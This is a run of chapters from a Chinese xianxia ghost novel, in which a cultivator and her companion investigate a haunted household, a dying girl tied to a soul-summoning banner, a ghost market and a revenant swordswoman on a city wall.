剩下一成,全看云歇瞎掰扯的机缘兜不兜得住。只见她闭目沉吟,掐指一算,“南边……”竟然是南边?鬼知道南边是哪边? “南边的乌折陵。”知错就改的崔老爷忙忙道,“回禀仙师,此处正是乌折陵。泗水西起随垚关,东临我乌折入海。仙师若是从泗水之源而来,那么无论往东往南,皆可统称往东。” 得,这位崔老爷原是个上赶着给人骗的。都不需要别人下套子圆话,他自己就能把裤衩子也赔出去了。 “不错。”顶着殷殷注视的仙师睁开眼,很是有些讳莫如深道,“正是乌折陵。天机不可泄露,多知无益,我便不与你们再细说由来。” “那是自然,那是自然。”崔家老爷连声附和,踟蹰问出第二遍,“仙师所为之事,老小子定当全力效劳。敢问,仙师因何而来?” 云歇轻轻叹出一口气:“贸贸然,竟不知从何说起。若有闲暇,二位不妨先听我讲一件往事。” “仙师请讲。” “我这个徒儿呐,原是个先天不足的,遍寻名医养不好,当时泡在药罐子里快溺死了。”云歇向后一指,应景似的,游莲低低咳了一声。 他这一咳,主位两双眼睛登时钉过来,盛满惊疑,要从这副强健身骨剖出点病怏怏的证据。 当然剖不出,本就是莫须有的东西。但仙师所言,定然不虚。崔家夫妇眼睛像被什么赫然点亮了,屏息听下去—— 云歇娓娓道来:“那一日,冥冥之中,我一时兴起前往山顶夜观天象。天上也是亮了一颗星,只不过,那回是亮在西边。我便西巡而去,见到一稚子病得奄奄一息,求生志气顽强。机缘巧合,救下了他。” 这话听来轻重抑扬都无,叙事声调皆是平平,吊不出胃口。讲故事的人,实在很不会讲故事。 但在有心人听来,生死之事,越是轻描淡写处越令人不住去猜度其中惊涛骇浪。崔家夫人被骇得捂住心口,眼泛泪光。 游莲适时行到堂中,从容一礼:“徒儿拜谢师尊,救命传道,再造之恩。” 云歇摆手示意不必多礼:“时移世变,沧海桑田。当年我这徒儿与仙门有缘,命不该绝。我不过是顺应天意而为,实在担不得恩情。谁料一朝又见星辰亮,令我不由得想起往事,很是感慨,便与诸位提上一提。” 她这一提,将崔家夫妇的心提到了嗓子眼,梗着咽着,话都说不利索:“仙师所言,仙师所言——” “正是。”道法高深的仙师洞若观火,掐住二人七寸,“我东巡而来,盖因有另一位命不该绝之人,在此地受前世业火之苦。天意令我来此,救她于水火之中。崔家的,你二人可是有一个女儿,险些夭折,抚养不易。多年来,寻医问药不敢懈怠,却都道她寿数不长。” 闻言,崔家夫妇惊怔当场。 如今这妖异世道,举凡来个稍有神通的仙家中人,都要被众人抢着供着奉为座上宾,家底没够着前五根手指头的都轮不上号。就指望着能以富贵俗物,得其手指缝松下一二点庇护,已然千载难逢。若是能借此再窥到一线仙缘福荫子孙,那便是前八辈子烧高香,后八辈子继续烧。 然而今天,却有一位仙师千里迢迢而来,说要救他们的掌上明珠于水火。 多年夙愿,任何言语也无法形容心潮之澎湃。崔老爷当场拍腿号啕大哭。崔夫人自己帕子都嫌不够擦,还要过去帮他擦脸。 游莲适时上前,借出帕子。 为缓和过于感人的气氛,游莲顺势提出前两夜借住小院,小孩顽劣,撅翻灶台地皮,向主人家赔罪,再问赔偿金额几何。将崔家夫妇吓了个打跌,忙道待客不周滔天大罪,借豹子胆也不敢让仙师赔,云云。车轱辘话转过好几回,总之,并没有要他们赔的意思。 游莲很是觉得不好意思。崔家夫妇觉得更不好意思。一来二去,双方打起太极拳。 打得云歇眼花缭乱,上去拦停。 “崔家的,这安神香可助安眠,你二人逢天黑点上一柱,日出前不要熄。”云歇从袖子掏出一个三尺长尺来宽的木盒,递过去。 真不知那对薄薄袖子是怎么藏进这样大的物什。对于这位仙师施予的神通与慈悲,主人家抱以万分感佩,涕泪横流,游莲力劝之下,半天没止 17. 招魂(3) 《炉鼎的自我修养》全本免费阅读 崔家小姐正忙着抓猫呢。 那猫真肥啊,肥头肥脑肥爪,跑起来肚子肉雪堆似的颠啊颠。黄白一大坨蹲在光秃秃的墙头快掉下去了,被根长杆子撵得喵喵叫。 杆子还没碰着它呢,叫得忒惨。 崔家小姐站在墙下指挥仆役挥杆,一叠声轻点慢点别打到,边朝上头骂:“……又给我夜不归宿,你怎么不去外头再找个家呢?哈?还跑回来干什么……” 话是狠的,无奈中气不足,夹杂一两声咳嗽。她骂一句,墙上喵一句。 就这么吵起来了。 吵半天不知道谁赢了,肥橘猫磨磨蹭蹭,溜下墙根回到了主人怀抱。崔家小姐那双手臂瘦得袖子空荡荡的,轻易就能压折了,却是稳稳当当地接住那一大坨猫,半点不晃悠,还颠了两下。 弱柳扶风而又神力非凡的崔家小姐抱着猫,就近找了个树荫底下的台阶坐下。 嫩黄裙摆堆成蓬蓬的太阳花,伴着轻声细语的笑骂,橘猫趴在她膝上,大脸盘子被捏来揉去,龇牙咧嘴,不一会儿,喉咙呼噜呼噜响。 光斑树影沙沙摇动。 忽然,橘猫猛一扭头,看过来。 云歇看着铜币一般溜圆的漆黑猫瞳,瞬间缩成针尖。 撸到猫尾巴根的人见它弓背炸毛,下意识松手拍哄,发觉不对,也回头看了过来。 她这一回头,头顶上方,一大片如风如雾如旗帜的东西飒然展开,扬进云歇眼帘。 ——晋国醴县乌折陵,崔家女,名朝归。仲乙十一年亥月十九,生。仲乙廿七年辰月初三,卒。人寿已尽,屡召不回。遣,招魂幡。 凄凄白幡,惨惨墨钩。幡布边缘破破烂烂,拖风拽雾,当空大展,遮得此间天地骤暗。 鬼气遍布之森然,骇人气绝当场。 遗憾的是,现下无人能与云歇分享这一幕。 在场其他人看来,此处风和日丽,十分惬意,是个和猫猫一起打滚小憩的好天气。 崔朝归被日头晒得昏昏欲睡,一回头看到垂花门旁两张生面孔,顿时就精神了。唉呀呀,长得真好看,都好看。 她歪了歪脑袋,笑问:“是客人吗?” 云歇目光从波潮翻涌的招魂幡移开,挪到她脸上,定定看了好一会儿。 招魂幡不算稀罕物。 举凡游荡在河桥外的孤魂野鬼,头顶上都插着这么一面。十殿阎罗查生死簿时,碰上不对数目的漏网之鱼,见一个插一面。插秧似的,遍地都是。 刚离窍不小心走岔路的,白幡一招,就能回到正道上了。怨气重些不肯回的,白幡化绳化网,绑也给绑回去。遇上能与之对抗的厉鬼之流,招魂幡便只做追踪之用,等阴差甩镣铐去锁。阴差镣铐也锁不住的,就已然成为祸害一方的大凶煞。直至最后需鬼判官化身亲临抓捕的,也不是没有。 有没有能彻底逃过的呢? 自然有,道行高到把招魂幡毁了便是。而一旦毁了招魂幡彻底脱逃轮回之外,再被抓捕,押到阎罗殿生前死后新帐旧帐一起算,轻则灰飞烟灭,重则灰飞烟灭。 此等猖獗鬼万里无一。忌惮下场为其一,二则,阎罗不会允许鬼煞修炼到如此道行。 而云歇看见的这一面招魂幡,刀劈斧砍的痕迹交错纵横其上。 有人曾多次试图毁了它。 然而这也不算太要命的事。 要命的是,几步远,那张稚嫩脸上,薄如蝉翼的皮肤下,密如江河支脉的血气,在流动。 游莲察觉云歇的心不在焉,低声问道:“有什么不妥?” 云歇说:“我想知道,乌折陵现在是划入哪一国?” 游莲答:“晋国。” “哪一位君王?” “仲乙王,在位迄今二十七载。” “二十七啊。” 说话间,抱猫的小姑娘仰脖看二人走近,面上带了郝然:“梨花压得我起不来,实在不好意思,能不能帮帮我……” 猫淹到她尖尖的下巴,随时要压垮了她,可怜极了。云歇俯身去抱猫。 橘猫惊恐万状,一脸毛都盖不住扭曲,不断哈气,挣来扭去,把小姑娘衣衫勾出线。一个没摁住,它跳下地跑了。 崔朝归:“梨花,梨花——”唤不回来。 云歇目送那团胖黄球灵活异常,攀梁蹿上屋顶——遇上她的飞禽走兽都是如此,旺财大黑才是例外。摇一摇头,改搀小姑娘起身。 小姑娘拿在手里真是轻,只到云歇下巴高,骨头跟纸一样薄,衣裳都怕压垮她。不知道是怎么抱得动猫的。小姑娘哎哟哎哟地边抻腿边道谢,一瘸一拐瘸到屋檐外,仰头找猫。 屋顶瓦片乱成一条,碎了好几块,猫又没影了。 “个没出息的,平日里皮得很……”崔朝归没好气嘟囔,转头对上云歇,小小哇了一声,“你可真好看。”探头看后面的游莲,“你也好看。”目光黏回云歇脸上,“没你好看。” 一颗头扭个来回三四趟,转陀螺似的。 游莲眉尾一挑,赞道:“你很有眼光。” “那是,”崔朝归得意洋洋,“我与娘亲插的瓶花,年年都是花市竞出来的魁首。” 云歇轻握她手腕,牵到亭中石凳坐下。 掌心碰到的皮肤冰凉,血流滞缓,脉跳间久而无力。一点点聊胜于无的生机,可撑不起这样生动的嬉笑怒骂。 云歇落座在石桌对面,饶有兴趣道:“花市?” “对呀对呀,每逢谷雨前后,百花齐放,各家各户都要拿出最漂亮的瓶子插上最漂亮的花,拿去花市竞魁首。”崔朝归小脸枕着胳膊,圆眼弯成月牙,兴高采烈道,“年年魁首都是我家拿的。” 环亭内侧设有长木凳,游莲挥袖扫了扫灰尘,坐下,轻倚挡风挡日光的竹席,道:“听起来好热闹。” “当然了,我们乌折花市,四国独有,江南一绝。之前许多年你们都没有来看吧,今年可不能再错过啦。我还要担心大美人姐姐走在路上,会让人拿花砸得满头包呢哈哈哈……”小姑娘明眸皓齿,笑得双颊酡红,好似刚抹了胭脂。 身体里那一丁点血气,全盛放在这张巴掌大的小脸上。 云歇目视她双眼,极其专注,仿佛听入了神。 摈弃阳光照耀,事物还原本真。亭盖下,崔朝归脸颊以外的肤色苍白发青,云歇并不意外。云歇要看的,是她的魂火和命线。 人活在世,灵台明魂火,脊骨系命线。 魂火撑着皮囊走过生老病死,命线则系满嗔痴贪七情六欲。经历过什么,想要什么,将来去哪儿。也在身后蛛丝盘网般 18. 招魂(4) 《炉鼎的自我修养》全本免费阅读 再进垂花门踏上抄手游廊,走出好远,二人还仿佛泡在一大盆迷魂汤里,晕晕乎乎,半天回不过神。 游莲摇了又摇头:“这,这可怎么说呢……” 怎么说呢,怎么说呢。 因着进入这间宅子前后的种种异状,二人此行不说要大动干戈,也做好了难以善了的准备。但是把宅子走了个遍,再把主人家见了个遍之后,似乎,似乎与意料中有些许不同。 不说南辕北辙,却也是谬之千里。 游莲把今天事情脉络想了又想,捋了又捋,仍是一团乱麻。最令他觉得匪夷所思的是:“当家的,我从未……从遇到你开始,我没见过你对谁说话那么、那么——” 温柔,对,简直称得上是温柔了。 云歇搓了搓指尖,犹有细微脉搏余温,挣扎求生,“她看着太脆弱,我怕捏碎她。” “那种脾性可轻易捏不碎她。” “确实。”云歇点点头,那一大蓬张扬生命力的黄裙子仿佛还在眼前,“没想到。” 游莲感慨:“若她这样的也能是恶鬼凶煞,必然是极擅长伪装,且已出神入化,天衣无缝。” 天衣无缝到,任谁见了她,都不会将她与鬼煞之流联想到一块。 可若不是,又如何解释这间宅子的种种异常,那一面招魂幡,与招魂幡上无数道、曾试图将其毁去的痕迹呢? “那么,”游莲问出最基本的一个问题,“她究竟是人是鬼?” 云歇闭目沉思片刻,答:“是人,也是鬼。想瞒天过海,招魂幡却不会放过她。” 游莲疑惑:“招魂幡?什么东西?” 云歇瞥他一眼,道:“你死了自然会知道。” 人惜命得很:“原来如此,少知道为妙。” 云歇继续前言:“鬼魂被强留在已死的躯壳中,阳间容不下,阴间召不回。她正走在阴阳之间,那一线悬崖钢丝之上。” 游莲抓住字眼,追问道:“强留?你认为不是她自己想要留在这里,是吗,当家的?” 反应过来,云歇也为自己下意识说的话感到困惑:“……不,只是猜测。” “然而你更愿意相信她是无辜的。”游莲何其敏锐,“所以你也不认为是她偷走了还魂丹。” 云歇沉默片刻。 “她没有用还魂丹,再好的还魂丹也救不了她。”她笃定道,“她身上的阴阳之力每时每刻都在交锋,随时会面临溃败,经不起长途跋涉,更别提偷我东西。” 游莲顿时明了,接道:“有人在帮她。” 是谁?会是谁? 游莲第一反应,便是那对爱女心切的崔家夫妇。刚要开口,却见云歇对他摇了摇头。 心神一定,只听微不可察的嚓嚓声靠近,在身后不远处停下,“二位客人,院子已经安排妥当,老爷令我来带路。请吧。” * 短短两天,喜提大院。 要做的无非就是,把东西从一个院子搬到另一个院子。 东西不多,两条狗,几床被子,半筐橘子。 一进小院,听见声音的大黑不知从哪个旮瘩角落钻出来,尾巴甩得要断,钻在二人脚下哼哼唧唧磨来蹭去,艰难翻过肚皮求摸。 啊,肚子好圆。昨晚吃的那堆东西还没消化吗? 云歇揉一揉小狗肚子,鼓成石头硬,发觉不对。一抬头,旺财抱个大盆出来了,一对上眼,头顶那对黄耳朵立刻趴下消失。他耳朵目光齐飞,放下盆,拧出湿布,就地开始擦门柱子。 云歇看着那条脏兮兮的布胡乱抹,没拧干,水花四溅,门柱子越擦越脏。 蹑手蹑脚,鬼鬼祟祟,无事献殷勤,做了亏心事的样子藏也藏不住。 游莲果断进屋去找半筐橘子。 果然,筐还在,橘子没了,橘子皮在地上堆成小山。 哪个缺心眼的把香油瓶留在耗子洞了! 旺财诶诶诶地被提着耳朵丢去墙根,挺着大肚子罚站。那肚子大得,皮都要撑破了,一看就是主谋。 带小孩好难。 节制是一门功课。游莲试图抢救,刚开口,就发现他教不了。 那混不吝的只会捧个大肚子问:“节制是什么?能吃吗?” “吃吃吃,天天就知道吃。”游莲不愿再浪费光阴,折身回屋收自己的被子。 很快包裹款款,提狗换院。临出门前,云歇给旺财头顶用布包了,省得吓到人被当成妖怪抓走了。 旧院子到新院子不远,穿过几段直廊几重月门就到。 路上发生了件不大不小的意外。 不知何故,大黑一见带路的仆役就开始吠叫,被旺财按了几下头,吠叫闷成低咆。不料一个转弯,叫它逮到机会,咬住了仆役手掌不放。旺财见状赶紧往回拽狗,一个大力,刺啦一声,拽回一只狗连着一只人手。 一只人手。 人手。 “啊啊啊啊——”旺财当即大叫,狂勒狗脖子,“什么脏东西你都敢吃啊,快给我吐出来呸呸呸——” 大黑吐了,人手落地。嚓。掉在云歇脚边。 不捡白不捡,云歇捡起来。一拿在手上,分量不对。太轻了。再看这只手被犬牙扎出好几个窟窿,却不见半滴血。她转个方向,对着断腕截面看进去。 正常人的手断了是什么样,云歇见过许多,但无论什么样,都不是这样。正常人的手,也不会被只没两个月大的幼犬轻而易举地咬断。 这只断腕边缘撕得崎岖,里头不见血肉模糊,不见骨头支棱,空空如也。整只手,就只有张薄薄的皮。 怪不得这么轻。一张纸捏的皮囊,一口阴气吊着行走,能指望有什么肉,有什么血。 云歇心想,未免太粗制滥造。看完,递给游莲。 游莲接过,大赞道:“栩栩如生,以假乱真,好手艺。” 翻来覆去看,最后,他递还给苦主,和和气气道:“小孩不懂事,实在对不住,见谅。麻烦请收好你的东西。” 仆役安静看完全程。约莫是头回碰上这种事,没有先例,无法应对。他想了一想,也可能没想,与人无差别的脸上一直平静,没有半点变化。然后他拿过手,转身继续带路。 那截断手被拿在另一只同样苍白的手里,从一个院子到另一个院子,招摇过了一路。 路上仆役无不退到两侧,对这诡异一幕视若无睹。无论步调立姿,还是低头弯腰的幅度,都规矩得像拿尺子量过一样。 游莲走出好远,再回头,身后仍低着一大片黑乎乎的脑袋。但若仔细一瞧,便能发现那些人都吊高眼皮,黑眼仁快翻到天灵盖上,以着常人绝无法做到的诡异姿态,齐刷刷直勾勾看向这边。 窥视感持续到新院门口,带路的走了,游莲还有些可惜:“他怎么都不解释解释?” 19. 招魂(5) 《炉鼎的自我修养》全本免费阅读 旺财被提溜出门时,总疑心要被人给丢了。 因为他吃得太多。 听到这个答案,游莲颇觉意外:“你倒是挺有自知之明。” 旺财撇嘴:“这有什么,又不是没被丢过。” 扬扇遮了遮头上刺目的夕阳,游莲说:“你这个混不吝的,被丢了竟也就乖乖走了,不跑回去咬一口泄愤吗?” “说什么屁话,这是狗能干出来的事吗。”旺财踢着石子嘟囔,没忍住,回头看一眼身后越来越远的灰墙朱门,立马又转回来,大声说,“跑回去干什么,给他们饿的时候掏肚子吃肉吗?哼,说不定还等不到他们饿呢,穷成那样。幸好老子跑得快,不然早成一把骨头了,哪能在这里听你唧唧歪歪。” 游莲目光垂在睫毛阴影下,看他一戳就破的嚣张跋扈,并不打算拆穿,问:“怎么变成这样的?” 旺财先是懵,反应过来,说:“进来这里,被只鬼撵了几天,就成这样了。” 云歇抱着大黑停在前面岔路口,回头问:“是走哪一条路?” 游莲指左边。 旺财直勾勾盯着云歇臂弯间摇来摆去的黑色小尾巴,不敢大声:“我不管,丢就丢了,我不在乎,但大黑要和我一起走。” “和你?喝西北风吗?” 旺财不干了,“什么意思,搞半天是要抢东西?” “你说呢?” 旺财火了:“你个乌龟王八——” 声音有点大,引得前面人回头:“怎么了?” 旺财一下熄火。他一对上云歇眼睛就怵,游莲面前的发威老虎眨眼成了只病猫。 游莲摆手微笑:“没事,聊天呢。” 他转回脸来,笑眼冷漠拉直,“你确定要和大黑一起走?” 旺财点头点头再点头。 游莲很好说话:“你自己去和当家的说。” 简直欺狗太甚。 旺财怂了,好一会儿没吭声,眼睛低在杂毛下,脚步越来越慢。游莲都要越到前面去了,才听见侧后方他语气怪异说:“那,那你们要照顾好它,一定要,不然,不然——”说着,他手背狠狠一抹眼睛。 游莲悠哉悠哉摇着的扇子霎时停住,心底微微发毛,简直是惊悚了。几大步跨到前面,还有些定不住神。 云歇似笑非笑乜他一眼:“好玩吗?” 扇柄轻敲额头,游莲无奈,“是逗得有点过了。” 云歇往后一瞧,顿住:“人呢?” 跑了。 那小子身矮腿短,跑得是真快,又有熟悉地形之便,云歇和游莲追过几条街,只追到他的尾巴影。 天还没黑,街上空空。找了处屋檐垫脚,云歇找见街头露出的那条狗尾巴。她一停,那条尾巴跟着停,一追就跑,追两步跑两步,不远不近,躲迷藏玩儿似的。 竟真被游莲几句话煽动,认定自己要被丢了,先走为敬?敢情昨天吃的一只鸡一筐橘子,吃完翻脸不认人,全长成不吃嗟来之食的骨气了? 嗟都嗟了。 要不直接绑走吧。 云歇正要抬手,却见游莲抱着大黑站在底下朝她招手:“算啦算啦,有缘无分,勉强不了。他既然要走,就让他走吧。” 这话说的,明明是被他气跑的。 云歇转念一想,说好。 日落乌云聚,眨眼间,黑天就密不透风地压了下来。街灯渐次亮,照出底下打开的一扇扇门,跨出的一个个影子。 日出而息,日落而作。接下来,满城灯火便会轰轰烈烈烧彻通宵,烧到烛烟夭尽,朝阳破雾,再等待下一个夜晚。 待过两夜,游莲咂摸出些规律:“只要在这里留一夜,便不会再见到头天见到的那些场景,对吗?” 场景,指的是满城腐朽回春的那一刻。这两天,无论是在院里呆着,还天不黑出门,所见都是城池最鼎盛之时的景象。所以游莲有此猜测。 但他这个人啊,心里再笃定,面上还要不清不楚地给云歇递句话。对吗,是吧,行不行,能不能,好不好。 似乎,无论事实如何,只有她点头,才会是不可更改的真理。 短短两天,云歇跟涉足这座城池一样,一步一步地看见旁边这个人的心性,便也习惯随口应道:“或许是吧。” 他颇有兴致地左看右看:“不知道这里的地价如何,想来这条街上的应该贵些。” 二人现在走的正是昨夜买东西不成遇着打架的那条街。 残肢什么的,倒是没再见到,地上剩些污迹,血干后留下的,三两步就能见到一滩。游莲注意着脚下,时不时提醒云歇当心。 他很是操心:“要不要买双鞋?” 云歇不在意。 继续往前,遇上个摊子,黑中带黄的草堆到一人多高。游莲有些印象,看了又看:“像不像是昨晚那种驱蚊的草?” 云歇不记得。 “要买一些。昨晚那两只被蚊子闹得,吵了一晚上,我觉都没睡好。”游莲往淹到头顶上的草堆左右找,“老板?老板在吗?” 听见声音,草堆后钻出个脑袋,见到人就笑咧了两张嘴。 这位卖驱蚊草的摊主修得人形齐整,头和四肢长得有模有样,除了背上多伸出来两只手,嘴巴下面多开了张嘴, 游莲拣了一大把,摊主四手齐上,两手抱草两手捆绳,麻利非常,捆得又快又漂亮。 游莲不禁赞道:“老板,你多的两只手可真是好用啊。” 摊主两张嘴呵呵笑,笑声震耳欲聋:“那可不,两只手能干什么啊,端着碗砍不了脑袋的。我正攒第五只手第三张嘴呢,省得天天东西没吃完就被抢走了。” 游莲大赞:“妙哉。” “哪里哪里。”摊主被夸得高兴,两张嘴咧成一张,又往捆好的塞了两把草。 找了钱,系好钱袋,把钱袋和驱蚊草一同放进芥子戒,游莲轻声问:“怎么样?” 云歇把大黑递给他,道:“跟上来了。” “就知道。”游莲轻声哼笑,“昨儿个还吵吵要跟着你捡垃圾,死皮赖脸赶也赶不走,今天就全忘了。好小子,垃圾没捡到,骨气倒是捡回来不少。” “你说说就他这样,说上一回被丢了没跑回去,我是半个字也不信,就是不知道偷偷哭了几天。” 云歇看他一眼。 “这些话我也就背地里说说,真要当面说,他铁定恼。”游莲揉大黑脑袋耳朵,“你说是不是?” 狗崽脑袋搁在游莲肩上,看着后面不远处满脸别扭又慌慌张张、躲在柱子后偷瞄的身影,跟着哼哼唧唧起来。 两人沿长街过去,东边买,西边逛。昨天的橘子摊不见,换成肉档。摊在案板上的生肉看不出是什么动物,红肉夹着层白油脂,里头不住钻动的蛆虫也是白的。摊主肥掌一挥,嗡,飞起圈苍蝇。 遍地都有猎物生嚼,没谁愿意费钱买肉吃。摊主一见客人留步,当即就要咧开齿牙交错的大嘴。游莲目不斜视,拽着云歇袖子加快脚步。 摊主们奇形怪状,砍价提秤,钱货两讫,除了贩卖的货物也是奇形怪状,竟算得上井然有序,一言不合打架的事情都比别处小声些。不小心溅上点血,摊主赶紧拿布擦。 游莲想起一个故事:“西北草原有两个游牧部族,以一条河流为界,两方常年为河源归属而开战,年年打年年不休。奇怪的是,两个部族间还夹着一个更小的部族。跟两座好惩凶斗恶的大山相比,那个部族小极了,只有百来户人家,两边不靠,多年过去,却也安然无恙,没成为任何一方的附属。并且,两方开战从不会把火烧到那里。当家的,你 20. 招魂(6) 《炉鼎的自我修养》全本免费阅读 黄金军队化为乌有,金粉漫天。游莲调转目光,放去眼前人脸上,“原来当家的是上来看风景。” 眼前人满背乌发在风中乱摇,黑带子伶仃,随时要散开了去。一身比夜色还要浓上几分,端的是冷若冰霜,至今不给人半分撬开缝隙的可能。她的目光停驻在吊桥上,那端还剩一抹红缨残影。仿佛至死难忘的执念。 好一会儿,云歇转过脸,一双黑漆漆的眼睛看他,“你说什么?” 游莲微微垂下眸,“没说什么。” 他仍拿着扇子半挡在云歇鼻下,像是真怕她吃进太多风,距离问题,两根过长的白色发带总往云歇面前飘。云歇伸手一截,拨回他脑后,刚一撒手,又飞她眼前。 最后一次,云歇微微施力一扯,扯得游莲一个不妨,偏了偏头,就见她指尖凝光拿住一掐—— “等等。”游莲匆忙一握她手指,“当家的,师尊,我可就带了这一条充充门面仙气,掐了就没了。你还要不要你的好徒儿了?” 不知是话还是动作起效,云歇指尖光芒登时一散,游莲切切感觉到一点锋刃划过指腹,下一息就要带来破血绽肉的疼痛。他下意识低眼一看。 好凉。这是游莲的第一感觉,那点子锋刃没碰到他,已然散去。被他握在手中的,只有对方白得似冰雪雕成的手指,轻易捏刀造刃,这样一拿,却—— 游莲反应过来,立即松手。 云歇还没如何呢,反倒是他被烫到似的,往后急退了一大步,随即自觉失态般,只好若无其事地摇起扇子,“有些热呢。” 一连串动作流畅无比,烦人的带子顺势离远。刮凉风的高处,人摇扇子说热,云歇盯他几眼,懒得理。 再望去城楼底下,蜃景踪迹再无。而以城墙为界的另一边,红灯笼焚成流河,流淌在密布如蛛网的大街小巷,鬼哭尖嚎沉浮各处。 少顷,听见他说:“当家的,你不觉得这里的乱象,委实太多了些吗?” 吊桥上空空荡荡,底下护城河水湍急,远远传来,云歇嗯了一声。 游莲合扇敲墙,纳闷道:“若真有阴曹地府,怎么放着这样大一座烂摊子不管,难道书上画的黑白无常牛头马面,是摆着好看的吗?” “若是当真如此,阎罗殿前该被求官信淹了才对,不必办事却能坐享后世供奉,换作我,我也想去当一当。”说到这里,他话锋一转,“所以是不想管,还是说,管不了?” 说着,他又转过来想征询云歇的肯定,头转到一半,想起什么,硬生生卡住了。就着别扭姿势,游莲轻咳一声,若无其事:“当家的,你觉得呢?” 云歇看他自个儿玩得开心,一时兴起,同他凑趣:“生死簿上写生死,来去早已成定数。世间万万生灵,都在阎罗手中大斗笔管辖之下,怎么会管不了?” 游莲摆袖作个半揖:“师尊有问,却之不恭。” “我看过一本古籍上记载,修道者修到寿数尽时,仍不得天道垂怜,他舍不下功业,盲信精诚所至,豁命开启禁术。”游莲面上挂笑,眼中寒光湛湛,“他妄图借时空之力,躲避生死定数,以此逃过轮回。可惜,凡人之躯羸弱,何况他耗尽一生尚且摸不到仙道灵窍,踏进时空缝隙的一瞬间,便被撕了个粉碎。” “可巧,灰飞烟灭,却也不必费事去走轮回了。如他所愿。” 城楼上本就刮得人透心凉的风,经他一说,越发凉了。 云歇眉心蹙着,不予置评,只问:“你看的什么浑书?” 游莲扇子一停,打个哈哈:“闲来无事看看罢了。” 无言片刻,云歇说:“这种书,可不是你闲来无事就能拿来看看的。” 人丝毫不慌,“既是下山历练,何必拘泥太多。师尊,你着相了。” 云歇将人上上下下看过一遍,仿佛第一次见一般,“你很聪明。” “全赖师尊教导有方。” 应对自如,他漫不经心说着笑着,目光跟着漫不经心挪移。 忽然,他目光定向云歇身后某处,神色一变,与此同时,云歇听见利物划破空气的声响。 长剑出鞘声。 锋芒如电劈进眼帘,游莲再不复从容,冲过来:“云歇——” 身后风声远比他更快,瞬息已至,刮起云歇鬓发。 云歇当即转身,凌空画盾。 盾与剑相接,一声锵鸣,震耳欲聋。 一剑不成,又是一剑。来者不以修为不以灵力,只用一柄重剑战得杀意汹涌,只攻不守,步步逼近。云歇便也弃盾不用,祭出长剑。 刹那雷霆相击,撕出大片火花,溅亮咫尺视野。 对方那柄剑乃是青铜所铸,剑身宽大,古朴无纹,锈蚀斑斑。火花从剑尾撕到剑首,云歇看到,那柄剑洞开一个碗大的豁口,豁口凝固无数碎片齑粉,风吹不散。 就像是,停留在剑断的那一瞬间。 一把剑长成这样,已够离奇。撞上云歇手中焚火长剑,没有折断反而坚不可摧,更是离奇。越发令人好奇,这样一把剑的主人,会是谁。 城楼上一时间只闻金戈相击。战况渐烈,飞火流窜。几次错身,云歇终于看清了持剑何人。 重铠头盔,银甲覆面。 同剑身一般的豁口也洞穿了持剑人的身躯。头部,左胸,右膝,每一处都足以致命。平常人绝无法顶着数处这样致命的伤口,蹦蹦跳跳,打打杀杀。 何况,右膝那缺口已经剜空,将整条腿彻底断成两截,中间毫无支撑粘连的骨骼皮肤。也就是说,这人根本不可能好端端站立在此处! 但。 只见这人战靴向后一蹬,腿风横扫,向云歇劈头踢来,凌厉至极。云歇举臂一挡,连退三步。重剑去势不减,直逼云歇面门。 就在此时,斜刺里横插进一柄纸扇,挡住剑锋。 然而,扇面之薄怎能较剑锋之利。一个照面,纸扇连皮带骨被绞成漫天飞屑。碎白纷纷扬扬,生生造出一场六月飞雪。 嘀嗒。 其中一片雪花被血滴压得快速坠地,缓缓融化在渗开的鲜红中。 浓烈血腥味推散冷雾,云歇看向挡在前面的人:“你——” 游莲 21. 招魂(7) 《炉鼎的自我修养》全本免费阅读 扶剑而立的身影,一如脚下所站的城墙堡垒,屹立不倒,坚定不移。仿佛任何风浪都无法将之摧毁。 然而,城墙再坚不可摧,不过是遗忘在时间缝隙的假象。现实中,早已肚腹破裂,脏器横流。 无论如何,看上去都不是个好相与的。 对方一派无动于衷,云歇继续说:“她生前应该是个大夫,左腿有些跛,年轻时候上山采药摔断的。你认识吗?” 笔挺剑身晃了一晃,银面遮住持剑人神情,闷在底下的声音有些怅惘:“明霜?” 不必再问。 “她死在千里外的东边,后人将尸骨抬葬回故地。因夙愿难偿,许多年来,她一直徘徊在这里。” 云歇目光定在这张银面上,近瞧更是驳痕交错,触目惊心,“我还在猜,那么羸弱的一条魂魄,几百年不修不练,一不留神就要魂飞魄散,如何能在不渡域呆那么久。看来她进城后,是你护着她。” 持剑人自巍然,仿佛方才的片刻动容只是错觉,“关你什么事。” “的确不关我的事。”云歇点点头,“但你别忘了,昨夜你既借我的手超度她,那么现下,卸磨杀驴也不是这个做法。” 那位仍是不为所动,冷哼一声:“关我什么事。” 云歇停顿片刻,哂然:“你这话说的,像是我多管闲事。我不过是看她生前多结善缘,落个魂飞魄散的下场,不值当,又十分可怜。于心不忍,这才好心,帮了她一把。” 几句话说得低而柔,满含悲天悯人的无奈,在游莲听来,就跟昨夜她说主持公道却一把火烧干净的时候一模一样。第一次听见,真要以为自己遇着善心人。 好会哄骗人。 若是她想,随便要人剖心剖肝热腾腾掏出来看,都是轻而易举。 对面那位显然不在轻易哄骗的行列,只听她声愈冷:“我竟不知妖物何时会有好心,分明是有利可图,满口伪善,你披错人皮了。” 听起来对妖物格外有偏见呢。云歇听得多了,半点不放在心上,反问:“你是不是忘了自己现在是什么东西?” 对方重剑一杵:“废话少说,你到底打不打?” 云歇:“不打。” “不打也得打。” 车轱辘转来转去,云歇觉得奇怪,“为什么非要打?” 对方竟很诚实地回答了:“你们今夜扰我清净,这么让你们全须全尾走下去,岂不是告知底下那群妖魔鬼怪尽管来我头上踩?” 游莲本是全神贯注警惕对面一举一动,乍一听这话,不由得走神。好耳熟,似乎在哪里听到过。 “不好意思。”云歇手中剑光黑焰若隐若现,“我们当然能全须全尾走下去,不用你让。” 闻言,持剑人周身战意暴涨,重剑诡光过眼:“尽管试一试。” 真不晓得是多少年没打过架,几句话就能激动成这样。一场没个尽头干耗时间的架,云歇可没心情和她打。 后面人跟水池子漏底似的,血腥味浓到呛鼻。云歇方才就纳闷,怎么会有人想不开,拿肉身做盾呢?是低估她,高估自己,还是编谎话把自己也骗进去了? 白白长一张聪明绝顶的脸。 算账的话回去再说,先把麻烦解决才要紧。 对方“盛情邀约”,云歇拒绝得干脆:“我不想和你打,浪费时间。” 重剑又一杵,砖石被砸个稀碎,“你耍我?” “实话罢了。”云歇专挑人逆鳞拔,“难为你天天有功夫找人打架,怎么连个临终告别的时间都抽不出。” 持剑人拔张的怒火一滞,静了静,道:“几百年前的人与事,你自己数得清楚吗?” 